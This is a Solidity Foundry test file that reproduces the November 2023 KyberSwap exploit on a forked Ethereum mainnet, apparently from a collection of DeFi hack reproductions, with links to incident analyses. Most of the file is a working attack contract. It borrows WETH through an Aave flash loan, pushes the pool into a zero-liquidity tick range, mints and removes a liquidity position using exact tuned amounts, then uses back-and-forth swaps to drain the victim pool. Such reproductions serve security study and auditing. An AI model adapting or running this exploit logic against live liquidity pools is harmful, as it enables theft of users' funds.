src/test/2023-11/KyberSwap_exp.eth.1.sol

1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3 
4import "forge-std/Test.sol";
5import "./../interface.sol";
6 
7import {IBasePositionManager as IKyberswapPositionManager} from
8    "./KyberSwap/interfaces/periphery/IBasePositionManager.sol";
9import {IPool as IKyberswapPool} from "./KyberSwap/interfaces/IPool.sol";
10 
11// @KeyInfo - Total Lost : ~$46M
12// Attacker EOA: https://etherscan.io/address/0x50275E0B7261559cE1644014d4b78D4AA63BE836
13// Attacker Contracts : https://etherscan.io/address/0xaf2acf3d4ab78e4c702256d214a3189a874cdc13
14// Vulnerable Contract : https://etherscan.io/address/0xFd7B111AA83b9b6F547E617C7601EfD997F64703
15// Transaction : https://app.blocksec.com/explorer/tx/eth/0x485e08dc2b6a4b3aeadcb89c3d18a37666dc7d9424961a2091d6b3696792f0f3 (block 18630392)
16 
17// @Analysis
18// https://app.blocksec.com/explorer/security-incidents
19// https://twitter.com/BlockSecTeam/status/1727560157888942331
20// https://blocksec.com/blog/yet-another-tragedy-of-precision-loss-an-in-depth-analysis-of-the-kyber-swap-incident-1
21// https://blog.solidityscan.com/kyberswap-hack-analysis-25e25f2e4a7b
22// https://slowmist.medium.com/a-deep-dive-into-the-kyberswap-hack-3e13f3305d3a
23 
24// AAVE INTERFACES ////////////////////////////////////////////////////////////
25 
26interface IAavePool {
27    function flashLoanSimple(
28        address receiverAddress,
29        address asset,
30        uint256 amount,
31        bytes memory params,
32        uint16 referralCode
33    ) external;
34}
35 
36// UNISWAP V3 INTERFACES //////////////////////////////////////////////////////
37 
38interface IUniswapV3Pool {
39    function swap(
40        address recipient,
41        bool zeroForOne,
42        int256 amountSpecified,
43        uint160 sqrtPriceLimitX96,
44        bytes calldata data
45    ) external returns (int256 amount0, int256 amount1);
46}
47 
48// LOGGING ////////////////////////////////////////////////////////////////////
49 
50contract Logger is Test {
51    function logTag(string memory stage, string memory token, string memory label) internal returns (string memory) {
52        string memory text_stage = string(abi.encodePacked(" [ ", stage, " ] "));
53        string memory text_token = string(abi.encodePacked(" [ ", token, " ] "));
54        string memory text_label = string(abi.encodePacked(" [ ", label, " ] "));
55        return string(abi.encodePacked(text_stage, text_token, text_label));
56    }
57 
58    function logBalances(
59        string memory stage_label,
60        string memory token_label,
61        string memory target_label,
62        address target,
63        address token
64    ) internal {
65        emit log_named_decimal_uint(
66            logTag(stage_label, token_label, target_label), IERC20(token).balanceOf(target), IERC20(token).decimals()
67        );
68    }
69}
70 
71// CORE LOGIC /////////////////////////////////////////////////////////////////
72 
73contract Exploiter is Test {
74    address public _attacker = address(0);
75    address public _victim = address(0);
76    address public _lender = address(0);
77    address public _token0 = address(0);
78    address public _token1 = address(0);
79    uint256 public _amount = 0;
80    address public _manager = address(0xe222fBE074A436145b255442D919E4E3A6c6a480);
81 
82    constructor(address victim, address lender, uint256 amount) {
83        _attacker = address(this);
84        _victim = victim;
85        _lender = lender;
86        _token0 = address(IKyberswapPool(_victim).token0());
87        _token1 = address(IKyberswapPool(_victim).token1());
88        _amount = amount;
89    }
90 
91    // entry point ////////////////////////////////////////////////////////////
92    function trigger() public {
93        IAavePool(_lender).flashLoanSimple(address(this), _token1, _amount, "", 0);
94    }
95 
96    // core ///////////////////////////////////////////////////////////////////
97    function _flashCallback(
98        uint256 due
99    ) internal returns (bool) {
100        int24 __currentTick;
101        int24 __nearestCurrentTick;
102        uint24 __swap_fee;
103        uint160 __sqrtP;
104        uint256 __token_id;
105 
106        // settings
107        __swap_fee = IKyberswapPool(_victim).swapFeeUnits(); // 10
108 
109        // approval is required to mint the position
110        IERC20(_token0).approve(_manager, 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff);
111        IERC20(_token1).approve(_manager, 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff);
112 
113        // step 1: move to a tick range with 0 liquidity
114        IKyberswapPool(_victim).swap(_attacker, int256(_amount), false, 0x100000000000000000000000000, "");
115 
116        // step 2: supply liquidity
117        (__sqrtP, __currentTick, __nearestCurrentTick,) = IKyberswapPool(_victim).getPoolState();
118        (__token_id,,,) = IKyberswapPositionManager(_manager).mint(
119            IKyberswapPositionManager.MintParams(
120                _token0,
121                _token1,
122                __swap_fee,
123                __currentTick,
124                111_310,
125                [__nearestCurrentTick, __nearestCurrentTick],
126                6_948_087_773_336_076,
127                107_809_615_846_697_233,
128                0,
129                0,
130                _attacker,
131                block.timestamp
132            )
133        );
134 
135        // step 3: remove liquidity
136        IKyberswapPositionManager(_manager).removeLiquidity(
137            IKyberswapPositionManager.RemoveLiquidityParams(
138                __token_id, 14_938_549_516_730_950_591, 0, 0, block.timestamp
139            )
140        );
141 
142        // step 4: back and forth swaps
143        IKyberswapPool(_victim).swap(
144            _attacker,
145            387_170_294_533_119_999_999,
146            false,
147            1_461_446_703_485_210_103_287_273_052_203_988_822_378_723_970_341,
148            ""
149        );
150        IKyberswapPool(_victim).swap(_attacker, -int256(IERC20(_token1).balanceOf(_victim)), false, 4_295_128_740, "");
151 
152        // repay the lender
153        IERC20(_token1).approve(_lender, due);
154 
155        return true;
156    }
157 
158    // swap / tick manipulation ///////////////////////////////////////////////
159    function swapCallback(int256 deltaQty0, int256 deltaQty1, bytes calldata data) external {
160        if (deltaQty0 > 0) {
161            IERC20(_token0).transfer(msg.sender, uint256(deltaQty0));
162        } else if (deltaQty1 > 0) {
163            IERC20(_token1).transfer(msg.sender, uint256(deltaQty1));
164        }
165    }
166 
167    // flash loan / funding callbacks /////////////////////////////////////////
168 
169    // Aave
170    function executeOperation(
171        address asset,
172        uint256 amount,
173        uint256 premium,
174        address initiator,
175        bytes memory params
176    ) external returns (bool) {
177        return _flashCallback(amount + premium);
178    }
179 
180    // Uniswap v3
181    function uniswapV3FlashCallback(uint256 fee0, uint256 fee1, bytes calldata data) external {
182        _flashCallback(fee1);
183    }
184}
185 
186// frxETH <=> WETH POOL EXPLOIT ///////////////////////////////////////////////
187 
188contract KyberswapFrxEthWethPoolExploitTest is Exploiter, Logger {
189    string private constant _chain = "mainnet";
190    uint256 private constant _block = 18_630_391;
191 
192    // victim = KS2-RT, lender = Aave pool v3, amount = 2,000,000,000,000,000,000,000
193    constructor()
194        Exploiter(
195            address(0xFd7B111AA83b9b6F547E617C7601EfD997F64703),
196            address(0x87870Bca3F3fD6335C3F4ce8392D69350B4fA4E2),
197            0x6c6b935b8bbd400000
198        )
199        Logger()
200    {}
201 
202    function setUp() public {
203        vm.createSelectFork(_chain, _block);
204        vm.label(_victim, "KS2-RT");
205        vm.label(_lender, "Aave: Pool V3");
206        vm.label(_token0, "frxETH");
207        vm.label(_token1, "WETH");
208    }
209 
210    function testExploit() public {
211        // track changes
212 
213        // log pre-exploit
214        logBalances("before", "token0", "victim", _victim, _token0);
215        logBalances("before", "token1", "victim", _victim, _token1);
216        logBalances("before", "token0", "attacker", _attacker, _token0);
217        logBalances("before", "token1", "attacker", _attacker, _token1);
218 
219        // main
220        trigger();
221 
222        // log post-exploit
223        logBalances("after", "token0", "victim", _victim, _token0);
224        logBalances("after", "token1", "victim", _victim, _token1);
225        logBalances("after", "token0", "attacker", _attacker, _token0);
226        logBalances("after", "token1", "attacker", _attacker, _token1);
227    }
228}